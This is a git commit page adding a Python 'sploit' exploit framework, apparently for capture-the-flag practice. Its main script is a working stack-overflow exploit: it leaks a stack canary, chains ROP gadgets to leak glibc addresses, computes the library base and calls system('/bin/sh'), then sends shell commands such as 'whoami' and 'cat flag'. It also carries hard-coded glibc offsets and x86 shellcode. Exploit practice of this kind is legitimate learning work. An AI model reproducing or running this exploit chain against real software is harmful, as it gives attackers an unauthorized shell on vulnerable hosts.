diff options
| author | dusoleil <howcansocksbereal@gmail.com> | 2021-08-02 00:36:28 -0400 | 
|---|---|---|
| committer | dusoleil <howcansocksbereal@gmail.com> | 2021-08-03 19:45:57 -0400 | 
| commit | aa9da0f6f27759f5f3201bafb0e52f41367f08ef (patch) | |
| tree | d3f748eeb0112205bb7784bd353b22376ee827ae | |
| parent | 4338f0862dae3b33862bb32c5dd9fc2eb5f6f90a (diff) | |
| download | lib-des-gnux-aa9da0f6f27759f5f3201bafb0e52f41367f08ef.tar.gz lib-des-gnux-aa9da0f6f27759f5f3201bafb0e52f41367f08ef.zip | |
Adding Initial Commit of the Sploit Tool
Signed-off-by: dusoleil <howcansocksbereal@gmail.com>
Diffstat (limited to '')
| l--------- | tools/sploit/sploit | 1 | ||||
| -rwxr-xr-x | tools/sploit/sploit.py | 205 | ||||
| -rwxr-xr-x | tools/sploit/sploitconfig.py | 13 | ||||
| -rwxr-xr-x | tools/sploit/sploitlog.py | 17 | ||||
| l--------- | tools/sploit/sploitpipe | 1 | ||||
| -rwxr-xr-x | tools/sploit/sploitpipe.sh | 21 | ||||
| -rwxr-xr-x | tools/sploit/sploitrunner.py | 38 | ||||
| -rwxr-xr-x | tools/sploit/sploitutil.py | 34 | 
8 files changed, 330 insertions, 0 deletions
| diff --git a/tools/sploit/sploit b/tools/sploit/sploit new file mode 120000 index 0000000..1ba655a --- /dev/null +++ b/tools/sploit/sploit @@ -0,0 +1 @@ +sploit.py
\ No newline at end of file diff --git a/tools/sploit/sploit.py b/tools/sploit/sploit.py new file mode 100755 index 0000000..b277cb0 --- /dev/null +++ b/tools/sploit/sploit.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python3 + +#if sploit is called with command line arguments, +#it will use them to call the target program with popen +#otherwise, sploit will use stdin/stdout +#you can use sploitpipe to run sploit with pipes spltin/spltout +#which can be used with the target program +#<spltin ./target &>spltout +#or from within gdb +#r <spltin &>spltout +#if given a program name on the command line, we'll use popen +#otherwise, we use stdin/stdout +#in the latter case, you can use sploitpipe to set up spltin and spltout + +import time + +import sploitutil as util +import sploitrunner + +#specify which glibc offsets to use +testing = True + +#puts,system,and binsh string offsets into glibc +#https://libc.blukat.me/ +#https://libc.rip/ +#search two functions and the least significant 12 bits of their address +#then use the resulting glibc to get offsets for the exploit +#for whatever reason, some of these are off by a small amount +#printing the contents out(even bytes of instructions) +#and comparing to what I expect in gdb has been enough to figure it out +#also, if we have the actual library +#objdump -T libc.so | grep '_puts' +#xxd libc.so | grep '/bin' + +#my kali glibc (puts:0x5f0,setvbuf:0xcd0) +#https://libc.blukat.me/?q=_IO_puts%3A5f0%2C_IO_setvbuf%3Acd0 +#libc6_2.31-9_amd64 +#str_bin_sh was off for this one. I had to subtract 0x04 to get it right +libc_offset = util.itob(0x0765f0) +libc_system = util.itob(0x048e50) +libc_execve = util.itob(0x0cb6c0) +libc_exit = util.itob(0x0cb670) +libc_binsh = util.itob(0x18a152) +libc_poprdx_poprbx = util.itob(0x1376e2) +#target glibc (puts:0x5a0,setvbuf:0xe60) +#https://libc.blukat.me/?q=_IO_puts%3A5a0%2C_IO_setvbuf%3Ae60 +#libc6_2.31-0ubuntu9.2_amd64 (3 listed, but all I care about was the same) +if not testing: +    libc_offset = util.itob(0x0875a0) +    libc_system = util.itob(0x055410) +    libc_execve = util.itob(0x0e62f0) +    libc_exit = util.itob(0x0e6290) +    libc_binsh = util.itob(0x1b75aa) +    libc_poprdx_poprbx = util.itob(0x162866) + +frame_len = 0x108 + +string = b'Hello, World!\n' + +shellcode = b'\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff'+string + +payloads = { +        'null' : util.itob(0x00), +        #stack smash +        'fill' : b'A'*(frame_len), +        'string' : string+b'A'*(frame_len-len(string)), +        'shellcode' : b'\x90'*(frame_len-len(shellcode))+shellcode, +        'canary' : util.itob(0xdeadbeef), +        #stack addresses +        'buffaddr' : util.itob(0x7fffffff0000), +        #static addresses +        'startaddr' : util.itob(0x4005d0), +        'targetaddr' : util.itob(0x400725), +        'pltaddr' : util.itob(0x4005c0), +        'gotaddr' : util.itob(0x600fe8), +        'gotaddr2' : util.itob(0x601030), +        #rop gadgets +        'ret' : util.itob(0x400801), +        'poprdi' : util.itob(0x400873), +        'poprsi_popr15' : util.itob(0x400871) +} + + +def sploit(stdin, stdout): +    c = util.Communication(stdin,stdout) + +    def preamble(): +        #preamble +        c.recv() +        #smash the stack up to canary +        #+ a newline to overwrite the null and delimit the next two readlines +        c.send(  payloads['fill'] +                +b'\n') +        #most of the echo +        c.recv() +        #get the canary from the echo +        out = c.recv() +        canary = b'\x00'+out[:7] +        return canary + +    #rop to find the address of setvbuf in memory +    #for the purpose of looking up the glibc offsets in a database +    canary = preamble() +    ropchain = payloads['poprdi'] #pop rdi,ret +    ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got +    ropchain += payloads['pltaddr'] #ret puts +    #rop to find the address of puts in memory +    #for the purpose of looking up the glibc offsets in a database +    #and then we will use this to calculate our glibc base at runtime +    ropchain += payloads['poprdi'] #pop rdi,ret +    ropchain += payloads['gotaddr'] #rdi; pointer to puts.got +    ropchain += payloads['pltaddr'] #ret puts +    ropchain += payloads['startaddr'] #ret _start to fix stack +    #smash stack again, but with canary and rop +    #this will print out the address of puts in memory +    c.send(  payloads['fill'] +            +canary +            +payloads['buffaddr'] +            +ropchain) + +    #get the glibc puts address +    c.recv() +    out = c.recv() +    libc_addr = out[:8] +    #if puts() terminated on a \x00 (like the most sig bits of an address) +    #our [:8] might get less than 8 bytes of address + a newline +    #so strip that newline +    if libc_addr[-1:] == b'\n': +        libc_addr = libc_addr[:-1] +    #calculate glibc base address +    libc = util.Libc(libc_addr,libc_offset) +    libc_base = libc.base() +    #use that to calculate other glibc addresses +    system_addr = libc.addr(libc_system) +    execve_addr = libc.addr(libc_execve) +    exit_addr = libc.addr(libc_exit) +    binsh_addr = libc.addr(libc_binsh) +    poprdx_poprbx_addr = libc.addr(libc_poprdx_poprbx) + +    canary = preamble() +    #print first few bytes of glibc +    #this is to validate our offset +    #a proper ELF file starts with '\x7fELF' +    ropchain = payloads['poprdi'] #pop rdi,ret +    ropchain += libc_base #rdi; pointer to glibc +    ropchain += payloads['pltaddr'] #ret puts +    #rop to puts("/bin/sh") +    #this is to validate our offset +    ropchain += payloads['poprdi'] #pop rdi,ret +    ropchain += binsh_addr #rdi; pointer to "/bin/sh" +    ropchain += payloads['pltaddr'] #ret puts +    ropchain += payloads['startaddr'] #ret _start +    c.send(  payloads['fill'] +            +canary +            +payloads['buffaddr'] +            +ropchain) +    c.recv() +    c.recv() + +    #rop to execve("/bin/sh",0,0) +    #canary = preamble() +    #ropchain = payloads['poprdi'] #pop rdi,ret +    #ropchain += binsh_addr #rdi; pointer to "/bin/sh" +    #ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret +    #ropchain += payloads['null'] #rsi +    #ropchain += payloads['null'] #r15 +    #ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret +    #ropchain += payloads['null'] #rdx +    #ropchain += payloads['null'] #rbx +    #ropchain += execve_addr #ret execve +    #ropchain += payloads['poprdi'] #pop rdi,ret +    #ropchain += payloads['null'] #rdi 0 +    #ropchain += exit_addr #ret exit to exit cleanly + +    #rop to system("/bin/sh") +    canary = preamble() +    ropchain = payloads['poprdi'] #pop rdi,ret +    ropchain += binsh_addr #rdi; pointer to "/bin/sh" +    ropchain += payloads['ret'] #extra ret for 16byte stack alignment +    ropchain += system_addr #ret system +    ropchain += payloads['poprdi'] #pop rdi,ret +    ropchain += payloads['null'] #rdi 0 +    ropchain += exit_addr #ret exit to exit cleanly +    c.send(  payloads['fill'] +            +canary +            +payloads['buffaddr'] +            +ropchain) + +    #we need to synchronize when read() finishes before sending more data +    #we could insert another puts() into the rop and call c.recv() +    #or we can just sleep for a second +    time.sleep(1) + +    #try some shell commands +    c.send(b'whoami\n') +    c.send(b'pwd\n') +    c.send(b'ls\n') +    c.send(b'cat flag\n') +    c.send(b'cat flag.txt\n') +    c.send(b'exit\n') + +    return + +#run our sploit +sploitrunner.runsploit(sploit) diff --git a/tools/sploit/sploitconfig.py b/tools/sploit/sploitconfig.py new file mode 100755 index 0000000..084a59d --- /dev/null +++ b/tools/sploit/sploitconfig.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 + +import sys + +#if given a program name on the command line, we'll use popen +#otherwise, we use stdin/stdout +#in the latter case, you can use sploitpipe to set up spltin and spltout +use_popen = len(sys.argv) > 1 +#sleep for this many seconds to give time to attach gdb +wait_for_gdb = 0 +#will decode output with this encoding for printing +#or if empty, will print as bytes +log_encoding = ''#'utf-8' diff --git a/tools/sploit/sploitlog.py b/tools/sploit/sploitlog.py new file mode 100755 index 0000000..eab1fc7 --- /dev/null +++ b/tools/sploit/sploitlog.py @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 + +import os + +import sploitconfig as config + +#this function does not look at the run mode and will write to stdout regardless +#use sploitutil.log instead +def sploitlog(s): +    if config.log_encoding != '': +        s = s.decode(config.log_encoding) +    print(s) + +if __name__ == '__main__': +    stdin = os.fdopen(0,"rb") +    for s in stdin: +        sploitlog(s) diff --git a/tools/sploit/sploitpipe b/tools/sploit/sploitpipe new file mode 120000 index 0000000..3e5a956 --- /dev/null +++ b/tools/sploit/sploitpipe @@ -0,0 +1 @@ +sploitpipe.sh
\ No newline at end of file diff --git a/tools/sploit/sploitpipe.sh b/tools/sploit/sploitpipe.sh new file mode 100755 index 0000000..a761ad5 --- /dev/null +++ b/tools/sploit/sploitpipe.sh @@ -0,0 +1,21 @@ +#!/bin/bash + +#sets up sploit.py to use the input/output of a target program +#after running ./sploit you can launch the target program with +#<spltin ./target_program &>spltout +#also works in gdb +#r <spltin &>spltout +#or run the program in the background and set the gdb wait timer in sploit.py +# <spltin ./target_program &>spltout & +# gdb -p <pid that gets printed out when backgrounding target> + +rm spltin 2> /dev/null +rm spltout 2> /dev/null + +mkfifo spltin +mkfifo spltout + +<spltout tee >(./sploit.py &>spltin) | ./sploitlog.py + +rm spltin +rm spltout diff --git a/tools/sploit/sploitrunner.py b/tools/sploit/sploitrunner.py new file mode 100755 index 0000000..f0e5ac6 --- /dev/null +++ b/tools/sploit/sploitrunner.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +import os +import sys +import subprocess +import time + +import sploitconfig as config +import sploitutil as util + +#infrastructure to run sploit +#if sploit is called with command line arguments, +#it will use them to call the target program with popen +#otherwise, sploit will use stdin/stdout +#you can use sploitpipe to run sploit with pipes spltin/spltout +#which can be used with the target program +#<spltin ./target &>spltout +#or from within gdb +#r <spltin &>spltout +def runsploit(sploit): +    if config.use_popen: +        print(sys.argv[1:]) +        p = subprocess.Popen(sys.argv[1:],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT) + +    stdin = p.stdout if config.use_popen else os.fdopen(0,"rb") +    stdout = p.stdin if config.use_popen else os.fdopen(1,"wb") + +    if config.wait_for_gdb > 0: +        time.sleep(config.wait_for_gdb) + +    #exec custom sploit +    sploit(stdin,stdout) + +    #read anything else out and wait for termination +    for line in stdin: +        util.log(line) +    if config.use_popen: +        p.wait() diff --git a/tools/sploit/sploitutil.py b/tools/sploit/sploitutil.py new file mode 100755 index 0000000..00d2151 --- /dev/null +++ b/tools/sploit/sploitutil.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python3 + +import sploitconfig as config +from sploitlog import sploitlog + +def btoi(b): +    return int.from_bytes(b,'little') + +def itob(i): +    return i.to_bytes(8,'little',signed=True) + +class Libc: +    def __init__(self,libc_addr,libc_offset): +        self.libc_base = btoi(libc_addr)-btoi(libc_offset) +    def base(self): +        return itob(self.libc_base) +    def addr(self,offset): +        return itob(self.libc_base + btoi(offset)) + +def log(s): +    if config.use_popen: +        sploitlog(s) + +class Communication: +    def __init__(self,stdin,stdout): +        self.stdin = stdin +        self.stdout = stdout +    def send(self,s): +        self.stdout.write(s) +        self.stdout.flush() +    def recv(self): +        out = self.stdin.readline() +        log(out) +        return out | 
